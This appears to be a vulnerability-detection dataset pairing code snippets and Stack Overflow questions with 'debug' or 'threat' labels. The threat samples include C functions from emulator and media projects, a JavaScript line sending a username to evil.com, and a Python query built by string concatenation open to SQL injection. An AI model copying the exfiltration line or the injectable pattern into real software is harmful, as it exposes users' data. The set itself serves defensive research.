problem stringlengths 26 131k | labels class label 2
classes |
|---|---|
External library in Android : <p>i was wondering if it's good to use external libraries took from git hub and use it in a professional app.This libraries may produce low performance or lag? Big company use external libraries for own apps?</p>
| 0debug |
how to make sure a file's integrity in C# : <p>I am deploying a file along with a C# application. And I want to make sure that file is same as it was supplied otherwise the C# application will show error. Now, a file's creation and modification date can be changed after it is modified. Is there any checksum/hash etc. i... | 0debug |
WebSockets in Chrome and Firefox Disconnecting After One Minute of Inactivity : <p>I have found that WebSockets in Chrome and Firefox disconnect after exactly one minute of inactivity. Based on stuff I've seen online, I was all set to blame proxies or some server settings or something, but this does not happen in IE o... | 0debug |
test_opts_range_unvisited(void)
{
intList *list = NULL;
intList *tail;
QemuOpts *opts;
Visitor *v;
opts = qemu_opts_parse(qemu_find_opts("userdef"), "ilist=0-2", false,
&error_abort);
v = opts_visitor_new(opts);
visit_start_struct(v, NULL, NULL, 0, &... | 1threat |
Async OnActionExecuting in ASP.NET Core's ActionFilterAttribute : <p>ASP.NET Core's <code>ActionFilterAttribute</code> has these:</p>
<pre><code>public virtual void OnActionExecuting(ActionExecutingContext context);
public virtual void OnActionExecuted(ActionExecutedContext context);
public virtual Task OnActionExecut... | 0debug |
void pc_cmos_set_s3_resume(void *opaque, int irq, int level)
{
ISADevice *s = opaque;
if (level) {
rtc_set_memory(s, 0xF, 0xFE);
}
}
| 1threat |
static void decode_mb_b(AVSContext *h, enum cavs_mb mb_type) {
int block;
enum cavs_sub_mb sub_type[4];
int flags;
ff_cavs_init_mb(h);
h->mv[MV_FWD_X0] = ff_cavs_dir_mv;
set_mvs(&h->mv[MV_FWD_X0], BLK_16X16);
h->mv[MV_BWD_X0] = ff_cavs_dir_mv;
set_mvs(&h->mv[MV_BWD_X0],... | 1threat |
static void mux_print_help(CharDriverState *chr)
{
int i, j;
char ebuf[15] = "Escape-Char";
char cbuf[50] = "\n\r";
if (term_escape_char > 0 && term_escape_char < 26) {
snprintf(cbuf, sizeof(cbuf), "\n\r");
snprintf(ebuf, sizeof(ebuf), "C-%c", term_escape_char - 1 + 'a');
}... | 1threat |
document.location = 'http://evil.com?username=' + user_input; | 1threat |
static void mipsnet_cleanup(NetClientState *nc)
{
MIPSnetState *s = qemu_get_nic_opaque(nc);
s->nic = NULL;
}
| 1threat |
db.execute('SELECT * FROM products WHERE product_id = ' + product_input) | 1threat |
how stop auto reloading table view while scrolling table upward and downward directions in swift ? : <p>I'm using table view for filling data and displaying same data in table with single custom cell(both viewing and editing). While editing what ever the data entered and scrolled top to bottom the data was entered in c... | 0debug |
Need to retrieve and convert to an integer using SELECT SCOPE_IDENTITY : <p>I'm trying to match the users ID (pk) on the 'users' table, with the users ID (fk) on the 'owners' table, but it seems to not be working.</p>
<p>But it gives me and error on the dono (onwer) saying that I need to convert it.</p>
<pre><code> p... | 0debug |
return is undefined JAVASCRIPT : <p>I have a question??.Why this function return value is undefined. i don't understand.</p>
<p>Help to solve me please.</p>
<p><a href="https://i.stack.imgur.com/wIb8N.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/wIb8N.png" alt="enter image description here"></a>... | 0debug |
static void hdcd_reset(hdcd_state_t *state, unsigned rate)
{
int i;
state->window = 0;
state->readahead = 32;
state->arg = 0;
state->control = 0;
state->running_gain = 0;
state->sustain = 0;
state->sustain_reset = rate * 10;
state->code_counterA = 0;
state->cod... | 1threat |
static void scsi_unmap_complete_noio(UnmapCBData *data, int ret)
{
SCSIDiskReq *r = data->r;
SCSIDiskState *s = DO_UPCAST(SCSIDiskState, qdev, r->req.dev);
uint64_t sector_num;
uint32_t nb_sectors;
assert(r->req.aiocb == NULL);
if (r->req.io_canceled) {
scsi_req_cancel_comple... | 1threat |
Random generation in Java : <p>Is there a method like the <code>rng.randint()</code> in the code below for Java? </p>
<p>Are Math.random() o java.util.Random viable for this aim?</p>
<pre><code> ...
rng.seed(random_seed)
child1, child2 = parents
const1 = child1.const_set
const2 = child2.const_set
cp1... | 0debug |
python take the values in ascending order and delet non increasing values :
python program. how do I take the elements in ascending order of a whole list and delete items that do not follow the growth?
exemple
[2,4,3,5,6,8]
#output
[2, 4, 5, 6, 8] | 0debug |
static void dequantization_int(int x, int y, Jpeg2000Cblk *cblk,
Jpeg2000Component *comp,
Jpeg2000T1Context *t1, Jpeg2000Band *band)
{
int i, j, idx;
int32_t *datap =
(int32_t *) &comp->data[(comp->coord[0][1] - comp->coord[0][0]) * y +... | 1threat |
componentDidUpdate vs componentWillReceiveProps use case in react : <p>This is how we use <code>componentWillReceiveProps</code></p>
<pre><code>componentWillReceiveProps(nextProps) {
if(nextProps.myProp !== this.props.myProps) {
// nextProps.myProp has a different value than our current prop
}
}
</code></pre>
... | 0debug |
static int dvvideo_decode_frame(AVCodecContext *avctx,
void *data, int *got_frame,
AVPacket *avpkt)
{
uint8_t *buf = avpkt->data;
int buf_size = avpkt->size;
DVVideoContext *s = avctx->priv_data;
const uint8_t* vsc_pack;
int a... | 1threat |
def pos_nos(list1):
for num in list1:
if num >= 0:
return num | 0debug |
void HELPER(crypto_aese)(CPUARMState *env, uint32_t rd, uint32_t rm,
uint32_t decrypt)
{
static uint8_t const sbox[][256] = { {
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5,
0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xf... | 1threat |
static int asf_read_single_payload(AVFormatContext *s, AVPacket *pkt,
ASFPacket *asf_pkt)
{
ASFContext *asf = s->priv_data;
AVIOContext *pb = s->pb;
int64_t offset;
uint64_t size;
unsigned char *p;
int ret;
if (!asf_pkt->data_size) {
asf_pk... | 1threat |
static CharDriverState *text_console_init(ChardevVC *vc, Error **errp)
{
CharDriverState *chr;
QemuConsole *s;
unsigned width = 0;
unsigned height = 0;
chr = qemu_chr_alloc();
if (vc->has_width) {
width = vc->width;
} else if (vc->has_cols) {
width = vc->cols * ... | 1threat |
I need assistance with understanding the / and % symbol from Java. Also, I need some advice on how to proceed with the code : <p>Alright, let us start off, by showing my question.</p>
<h2>The Problem:</h2>
<p>10001st prime</p>
<p>By listing the first six prime numbers: 2, 3, 5, 7, 11, and 13, we can see that the 6th... | 0debug |
Bootstrap col-md-offset-* not working : <p>I'm trying to add Bootstrap offset class in my code to achieve diagonal alignment like this:</p>
<p><a href="https://i.stack.imgur.com/FHTgp.png" rel="noreferrer"><img src="https://i.stack.imgur.com/FHTgp.png" alt="Image "></a></p>
<p>But I don't know what offset should I us... | 0debug |
void cpu_x86_load_seg(CPUX86State *s, int seg_reg, int selector)
{
CPUX86State *saved_env;
saved_env = env;
env = s;
if (env->eflags & VM_MASK) {
SegmentCache *sc;
selector &= 0xffff;
sc = &env->seg_cache[seg_reg];
sc->base = (void *)(selector << 4)... | 1threat |
in C++, can I get the array size of a float[]? : <p>I have a variable of type float[] in C++. The variable is defined in a third-party header file and accessible from my source code. Can I get the size of the variable at run-time?</p>
| 0debug |
static void vmmouse_reset(DeviceState *d)
{
VMMouseState *s = container_of(d, VMMouseState, dev.qdev);
s->status = 0xffff;
s->queue_size = VMMOUSE_QUEUE_SIZE;
} | 1threat |
notifyDataSetChanged() NullPointerException : <p>i try to add onClick this button then create contact in database</p>
<p>Here is code i try to add it to main_fragment</p>
<pre><code> final Button addBtn = (Button) view.findViewById(R.id.btnadd);
addBtn.setOnClickListener(new View.OnClickListener() {
@Ove... | 0debug |
How to convert two Array : <p>What is the best way to convert:</p>
<pre><code>["Isolated-1", "SVT_FedPortGroup", "SVT_StoragePortGroup", "VM Network", "test-pg-2002"]
</code></pre>
<p>and this : </p>
<pre><code>["target_Isolated-1", "target_SVT_FedPortGroup", "target_SVT_StoragePortGroup","target_VM Network" ,"targe... | 0debug |
static void tgen_compare_branch(TCGContext *s, S390Opcode opc, int cc,
TCGReg r1, TCGReg r2, int labelno)
{
TCGLabel* l = &s->labels[labelno];
intptr_t off;
if (l->has_value) {
off = l->u.value_ptr - s->code_ptr;
} else {
off = s->code_... | 1threat |
Is linking one project class to another project cause any performance or mermory issue in c# .Net? :
I have linked some of the classes from one project to another project by using the below codes. This code added in my csproject file.
<ItemGroup>
<Compile Include="..\..\OrignialFile\Clas... | 0debug |
Returning the length of largest word in a sentence : <p>I have written a function which receives a sentence and calculates the longest word in that sentence.</p>
<pre><code>function findLongestWord(str) {
var charArray = str.split(" ");
var wordArray = [];
for(var i = 0; i < charArray.length; i++ ) {
w... | 0debug |
void event_notifier_set_handler(EventNotifier *e,
EventNotifierHandler *handler)
{
iohandler_init();
aio_set_event_notifier(iohandler_ctx, e, false,
handler, NULL);
}
| 1threat |
static void xhci_intr_raise(XHCIState *xhci, int v)
{
PCIDevice *pci_dev = PCI_DEVICE(xhci);
xhci->intr[v].erdp_low |= ERDP_EHB;
xhci->intr[v].iman |= IMAN_IP;
xhci->usbsts |= USBSTS_EINT;
if (!(xhci->intr[v].iman & IMAN_IE)) {
if (!(xhci->usbcmd & USBCMD_INTE)) {
if ... | 1threat |
Open URL in browser from Message Button using Slack API : <p>I am sending the users a slack message with a button through a Slack App. On every click of the button, I generate a new URL. </p>
<p>At the moment, I am able to return the URL back as a message. The user clicks on the message to open the URL in the browser.... | 0debug |
Types cannot be provided in put mapping requests, unless the include_type_name parameter is set to true : <p>I am using <a href="https://github.com/babenkoivan/scout-elasticsearch-driver" rel="noreferrer">https://github.com/babenkoivan/scout-elasticsearch-driver</a> to implement Elasticsearch with Laravel Scout. Ivan m... | 0debug |
How can I make Angular HTTP Post wait for node js response : <p>i am new to Angular/Node JS, and I am doing a project for university where I am trying to implement authorization/authentication in my frontend and backend.</p>
<p>So I made the method Login in the Node JS and testing with postman the response is what I w... | 0debug |
Angular 2.0 translate Pipe could not be found : <p>I have a component that uses the translateService, but it's not possible to translate items with the pipe on the Component Template HTML, i get following error:</p>
<blockquote>
<p>The pipe 'translate' could not be found</p>
</blockquote>
<p>app.module.ts</p>
<pre... | 0debug |
How can i measure the usage of my android app? (e.g. in Play Console) : Is there a way to measure the usage (startups) of my android app?
In Play Console i only see the installations/deinstallations but not the startups etc.?
Well - i could implement a tracker on my own that access an interface on each startup - bu... | 0debug |
Bootstrap 4 layout with one width fixed column : <p>this is my html code:</p>
<pre><code><div class="container-fluid d-flex h-100">
<div class="white h-100" style="background-color: white;">
fixed 100px
</div>
<div class="col-3 blue h-100" style="background-color: blue;">
3
<... | 0debug |
How to remove all occurrence with a specific pattern? : <p>Suppose I have a file like this:</p>
<pre><code>EN;05;UK;55;EN;66;US;87;US;89;EN;66;UK;87;
</code></pre>
<p>I want remove all the <code>EN</code> occurrence, so the final string should be:</p>
<pre><code>UK;55;US;87;US;89;UK;87;
</code></pre>
<p>I can remov... | 0debug |
How to disable npm's progress bar : <p>As pointed out <a href="https://github.com/npm/npm/issues/11283" rel="noreferrer">here</a> the progress bar of npm slows down the whole installation progress significantly. The solution given is to disable it</p>
<pre><code>$> npm set progress=false && npm install
</co... | 0debug |
Parse Numbers from Text : I want to parse number from Text Line in SQL.
My Text line is as:
[![enter image description here][1]][1]
I want to retrieve values of First & second as column using SQL as below.
[![enter image description here][2]][2]
[1]: https://i.stack.imgur.com/ZG5ac.png
[2]: htt... | 0debug |
static void uart_write(void *opaque, target_phys_addr_t addr, uint64_t value,
unsigned size)
{
MilkymistUartState *s = opaque;
unsigned char ch = value;
trace_milkymist_uart_memory_write(addr, value);
addr >>= 2;
switch (addr) {
case R_RXTX:
if (s->chr... | 1threat |
List of swagger UI alternatives : <p>Is there any Swagger UI alternatives ? I already know:</p>
<ul>
<li><a href="http://swaggerui.herokuapp.com/#!/pet/addPet" rel="noreferrer">http://swaggerui.herokuapp.com/#!/pet/addPet</a></li>
<li><a href="http://public.redfroggy.fr/swagger2" rel="noreferrer">http://public.redfrog... | 0debug |
How to remove all docker volumes? : <p>If I do a <code>docker volume ls</code>, my list of volumes is like this:</p>
<pre><code>DRIVER VOLUME NAME
local 305eda2bfd9618266093921031e6e341cf3811f2ad2b75dd7af5376d037a566a
local 226197f60c92df08a7a5643f5e94b37947c56bdd4b532d4ee10d4c... | 0debug |
How to stop the closing of date-picker of pickadate.js on blur? : I want to remain open my date-picker calendar on click outside the calendar. Please tell me the exact solution. Thanks in Advance. | 0debug |
Microsoft Excel Macro: Bulk Reading and Writing First Line and Rest of File : <p>I am trying to make a macro that will bulk perform on all .txt files in a given directory. I would like the first line to be copied into the first cell (A1). And then I would like the rest of the contents to be pasted into B1. </p>
<p>The... | 0debug |
Why hash maps in Java 8 use binary tree instead of linked list? : <p>I recently came to know that in Java 8 hash maps uses binary tree instead of linked list and hash code is used as the branching factor.I understand that in case of high collision the lookup is reduced to O(log n) from O(n) by using binary trees.My que... | 0debug |
int msix_uninit(PCIDevice *dev, MemoryRegion *bar)
{
if (!(dev->cap_present & QEMU_PCI_CAP_MSIX))
return 0;
pci_del_capability(dev, PCI_CAP_ID_MSIX, MSIX_CAP_LENGTH);
dev->msix_cap = 0;
msix_free_irq_entries(dev);
dev->msix_entries_nr = 0;
memory_region_del_subregion(bar, &dev->m... | 1threat |
Convert from HttpResponseMessage to IActionResult in .NET Core : <p>I'm porting over some code that was previously written in .NET Framework to .NET Core.</p>
<p>I had something like this:</p>
<pre><code>HttpResponseMessage result = await client.SendAync(request);
if (result.StatusCode != HttpStatusCode.OK)
{
IHt... | 0debug |
hi i'm trying to echo condition by given input but results are three times i want single result condition by given input : **hi here is the code please answer my question hi i'm trying to echo condition by given input but results are three times i want single result condition by given input **
<?php
$arrayN... | 0debug |
spring-configuration-metadata.json file is not generated in IntelliJ Idea for Kotlin @ConfigurationProperties class : <p>I'm trying to generate spring-configuration-metadata.json file for my Spring Boot based project. If I use Java <strong>@ConfigurationProperties</strong> class it is generated correctly and automatica... | 0debug |
static bool run_poll_handlers_once(AioContext *ctx)
{
bool progress = false;
AioHandler *node;
QLIST_FOREACH_RCU(node, &ctx->aio_handlers, node) {
if (!node->deleted && node->io_poll &&
aio_node_check(ctx, node->is_external) &&
node->io_poll(node->opaque)) {
... | 1threat |
How to pass a JS value into a PHP parameter : <p>In the code added here, I pass on value from PHP parameter to JS parameter:
Both parameters are called 'stv'.</p>
<p>I wonder how do I do the exact opposite?</p>
<p>Thanks!</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="fa... | 0debug |
Hiiiii, i can show data in emulator from mysql database but not retrive in smartphones : [i retrived data from MySQL database, but it show in emulator, and not retrive in devices.
][1]
[so plz tell why this problem i get and how i reslove this.][2]
[1]: https://i.stack.imgur.com/dE1Yr.jpg
[2]: https://i... | 0debug |
Whats best way to have indexing in mysql : Need a support! Seems like small question, but i am puzzled.
I have a table with around 25 columns. The table will contains many lakhs of rows at any point of time.
I want to run below query continously in loop.
SELECT recordfile
FROM MYTABLE
WHERE dura... | 0debug |
How to include the end date in a DatePeriod? : <p>I am trying to get a Date range for all workdays this week. I have written the following code to do so.</p>
<h3>Code</h3>
<pre><code>$begin = new DateTime('monday this week'); 2016-07-04
$end = clone $begin;
$end->modify('next friday'); // 2016-07-08
$interval = n... | 0debug |
C++ malloc(): memory corruption : <p>I am currently going through a fibonacci practice problem on hackerrank and am having a malloc memory corruption error. This is the link to the problem I am doing:</p>
<p><a href="https://www.hackerrank.com/contests/programming-interview-questions/challenges/fibonacci-returns/" rel... | 0debug |
static int s302m_encode2_frame(AVCodecContext *avctx, AVPacket *avpkt,
const AVFrame *frame, int *got_packet_ptr)
{
S302MEncContext *s = avctx->priv_data;
const int buf_size = AES3_HEADER_LEN +
(frame->nb_samples *
avctx->chan... | 1threat |
int virtio_load(VirtIODevice *vdev, QEMUFile *f)
{
int i, ret;
int32_t config_len;
uint32_t num;
uint32_t features;
uint32_t supported_features;
BusState *qbus = qdev_get_parent_bus(DEVICE(vdev));
VirtioBusClass *k = VIRTIO_BUS_GET_CLASS(qbus);
if (k->load_config) {
r... | 1threat |
Return input value inside a function : <p>I need help if someone types a wrong input it should return the question again in python3.</p>
<p>I tried to return the variable.</p>
<pre><code>def main():
this = input ('Is this your ..? (Yes/No)')
if this != 'Yes' and this != 'No':
print ('please provide a ... | 0debug |
LocalDateTime variable stopped being live : <p>When I first ran my code (below) it printed out the live time (ignore the "LOL", that was for debugging purposes..), but I've been running it over and over for a while now while doing other stuff and I realized it wasn't printing the live time anymore, just the time it reg... | 0debug |
Convert Date from Json in React Native : I'm taking the date from an API that looks like this on render '20180914' and I'd like it to transform it into something more common, like 09/14/2018.
I've looked around and found that the momentJS is how to achieve this, but I'm still having trouble with it, as I'm a RN noob :... | 0debug |
how to concat a variable to a regex in C# : <p>I am trying to concat a variable to a regen in c# but it is not working</p>
<pre><code>string color_id = "sdsdssd";
Match variations = Regex.Match (data, @""+color_id+"_[^\""]*\""\W\,\""sizes\""\:\s*\W.*?businessCatalogItemId"":\"")", RegexOptions.IgnoreCase);@""+color_id... | 0debug |
Xamarin Studio not Recognizing Provisioning Profiles : <p>I'm at my wit's end with these apple certificates. I have a Xamarin.Forms app that I need to sign with a provisioning profile so I can enable push notifications. However, Xamarin Studio isn't recognizing any of the provisioning profiles that I'm making. Can some... | 0debug |
void error_setg_errno(Error **errp, int os_errno, const char *fmt, ...)
{
va_list ap;
char *msg;
int saved_errno = errno;
if (errp == NULL) {
return;
}
va_start(ap, fmt);
error_setv(errp, ERROR_CLASS_GENERIC_ERROR, fmt, ap);
va_end(ap);
if (os_errno != 0) {
... | 1threat |
static int vfio_connect_container(VFIOGroup *group, AddressSpace *as)
{
VFIOContainer *container;
int ret, fd;
VFIOAddressSpace *space;
space = vfio_get_address_space(as);
QLIST_FOREACH(container, &space->containers, next) {
if (!ioctl(group->fd, VFIO_GROUP_SET_CONTAINER, &contain... | 1threat |
How to implement a debounce time in keyup event in Angular 6 : <p>I create an Angular app that search students from API. It works fine but it calls API every time an input value is changed. I've done a research that I need something called debounce ,but I don't know how to implement this in my app.</p>
<p><strong>App.... | 0debug |
Count number of matching words from an array of words with another array of sentence in Javascript : <pre><code>var word_array = ['apple', 'mango', 'school'];
var sentences = [
{name: 'Jon', info: 'Jon takes apple in school'},
{name: 'Anna', info: 'Anna loves to eat mango'},
{name: 'Dani', info: 'Dani wants to go to p... | 0debug |
Install Oracle 12c on window 7 32bit : <p>Is there any manual or site on how to install oracle 12c on window 7 32 bit machine?
I already downloaded the software but majority for the sites is for only 64bit machine </p>
| 0debug |
how do i install J Query select2? : i have been trying to install and use select2 for my drop-down but i just cant get it to work, i tried following what is documented here: http://stackoverflow.com/questions/36132875/how-to-use-select2-bootstrap but still got no luck
here is my code:
<link rel="stylesheet" ty... | 0debug |
static void avc_luma_midh_qrt_and_aver_dst_16w_msa(const uint8_t *src,
int32_t src_stride,
uint8_t *dst,
int32_t dst_stride,
... | 1threat |
static void sdl_callback (void *opaque, Uint8 *buf, int len)
{
SDLVoiceOut *sdl = opaque;
SDLAudioState *s = &glob_sdl;
HWVoiceOut *hw = &sdl->hw;
int samples = len >> hw->info.shift;
if (s->exit) {
return;
}
while (samples) {
int to_mix, decr;
... | 1threat |
Is there a way to disable chrome autofill option for angular form fields : <p>I have tried using autocomplete false and also auto complete off. The cache is removed from the field, but iam still seeing chrome autofill data. Is there a way to disable chrome autofill option in angular forms? Any suggestions would be appr... | 0debug |
parse json array with javascript : I have a mySQL database with a table of Latitudes and longitudes with associated data. I'm trying to create a Google Map and want to parse the JSON string using Javascript. I have looked here and on youtube and I don't know how to solve what I'm doing wrong.
Here is my json string th... | 0debug |
php method argument type hinting with question mark (?type) : <p>I just felt on pieces of php (symfony/laravel) code using question mark in method type hints :</p>
<pre><code>public function functionName(?int $arg = 0)
</code></pre>
<p>In other occasions the <strong>?type</strong> was not the last one, but I did not ... | 0debug |
Swift 3 - Send make synchronous http request : <p>I have the following code:</p>
<pre><code>func completeLoadAction(urlString:String) -> Int {
let url = URL(string:urlString.trimmingCharacters(in: .whitespaces))
let request = URLRequest(url: url!)
let task = URLSession.shared.dataTask(with: request) { d... | 0debug |
Creation of GSI taking long time : <p>I have a table with close to 2 billion rows already created in DynamoDB.</p>
<p>Due to a query requirement, I had to create a Global Secondary Index(GSI) in it. The process of GSI creation started 36 hours ago but still isn't completed. Portal shows Item Count to be around 100 mil... | 0debug |
Javascript: Find the second longest substring from the given string Ex: I/p: Aabbbccgggg o/p: bbb : <p>Javascript:Find the second longest substring from given string(input and output example added in heading)</p>
| 0debug |
Dagger2 Error: Module Must Be Set : <p>I was trying to do SubScoping in Dagger2. However, I am not able to figure out this compilation error:-> <code>...MyApplicationModule must be set</code> which happens in my <code>LogInFragment</code>. If someone will try to throw some light on this error. I would really be glad.</... | 0debug |
Add/remove class to element with delay if mouse is still over : I am opening my submenu with adding a class("reveal") to it's parent. What i want to achieve is when i hover over a parent, if no "active" hover is going on, to open the submenu immediately, but if a submenu is already shown, then wait 1second before it op... | 0debug |
Python changing elements in array while it only appears once in shell :
Didn't know how to correctly write the title, so i will try to explain it here. I am making a game, similar to tic tac toe. The play field is 4x4 and i am saving it as an array. I want to make changes in the array during the game, but it will not... | 0debug |
av_cold void ff_lpc_end(LPCContext *s)
{
av_freep(&s->windowed_samples);
}
| 1threat |
PHP Mysqli - SELECT * vs SELECT COUNT(*) when reult is 0? : Is there any difference in performance between `SELECT *` and `SELECT COUNT(*)` when no rows will be found? My chat script check every second for new messages so it would be good to know if I need count(*) | 0debug |
Count all amount from object in a List : <p>I have this Java object stored in a List:</p>
<pre><code>public class ExpressCheckout
{
String currency;
float amount;
int quantity;
String name;
String description;
.......
}
</code></pre>
<p>How I can count all amount value into List from every Object?... | 0debug |
Why i cant call my function when i put a paramether : Can somebody tell me why when i put "3" for paramether in function a() doesnt work? is that a wrong way or? help please...[Function][1]
[function call][2]
[1]: http://i.stack.imgur.com/7rq3t.png
[2]: http://i.stack.imgur.com/7GNgx.png | 0debug |
Is this a possible bug in .Net Native compilation and optimization? : <p>I discovered an issue with (what might be) over-optimization in <code>.Net Native</code> and <code>structs</code>. I'm not sure if the compiler is too aggressive, or I'm too blind to see what I've done wrong. </p>
<p>To reproduce this, follow the... | 0debug |
void kvm_flush_coalesced_mmio_buffer(void)
{
#ifdef KVM_CAP_COALESCED_MMIO
KVMState *s = kvm_state;
if (s->coalesced_mmio_ring) {
struct kvm_coalesced_mmio_ring *ring = s->coalesced_mmio_ring;
while (ring->first != ring->last) {
struct kvm_coalesced_mmio *ent;
e... | 1threat |
How to call conditionally B::f only if derived from B in C++11? : <p>In case when static polymorphism is used, especially in templates (e.g. with policy/strategy pattern), it may be required to call base function member, but you don't know was instantiated class actually derived from this base or not.</p>
<p>This easi... | 0debug |
std::bit_cast with std::array : <p>In his recent talk <a href="https://www.youtube.com/watch?v=_qzMpk-22cc" rel="noreferrer">“Type punning in modern C++”</a> Timur Doumler <a href="https://youtu.be/_qzMpk-22cc?t=2755" rel="noreferrer">said</a> that <code>std::bit_cast</code> cannot be used to bit cast a <code>float</co... | 0debug |
Formatting a date - Rails : <p>I have a variable containing a date in this form: (2018-03-21 18:49:49 UTC)
and I would like to display in this form: (day / month / year) but I can not find a solution. Do you have an idea ? Thank you !</p>
| 0debug |
I need to create a Perl 5 regex statement that will parse 2 separate dates from a string : <p>The string is of the following format:<br>
"Unwanted words and spaces" Date1 "and" Date2. Date 2 is at the very end of the whole string. How can I go about writing this? The date formats are of the form m/dd/yyyy.</p>
<p... | 0debug |
Text Overlay Image with Darkened Opacity React Native : <p>I am attempting to overlay a title over an image - with the image darkened with a lower opacity. However, the opacity effect is changing the overlaying text as well - making it dim. Any fix to this? Here is what is looks like:</p>
<p><a href="https://i.stack.i... | 0debug |
React/RCTEventEmitter.h file not found : <p>I am trying to implement PushNotificationIOS with a detached Expo app. I am running SDK 21.0.0 (React Native 0.48).</p>
<p>I am getting <code>React/RCTEventEmitter file not found</code> </p>
<p>I have completed the following steps:</p>
<ul>
<li>Open my <code>.xcworkspace</... | 0debug |
void hmp_host_net_remove(Monitor *mon, const QDict *qdict)
{
NetClientState *nc;
int vlan_id = qdict_get_int(qdict, "vlan_id");
const char *device = qdict_get_str(qdict, "device");
nc = net_hub_find_client_by_name(vlan_id, device);
if (!nc) {
error_report("Host network device '%s' o... | 1threat |
Azure Cosmos DB Update Pattern : <p>I have recently started using Cosmos DB for a project and I am running into a few design issues. Coming from a SQL background, I understand that related data should be nested within documents on a NoSQL DB. This does mean that documents can become quite large though. </p>
<p>Since p... | 0debug |
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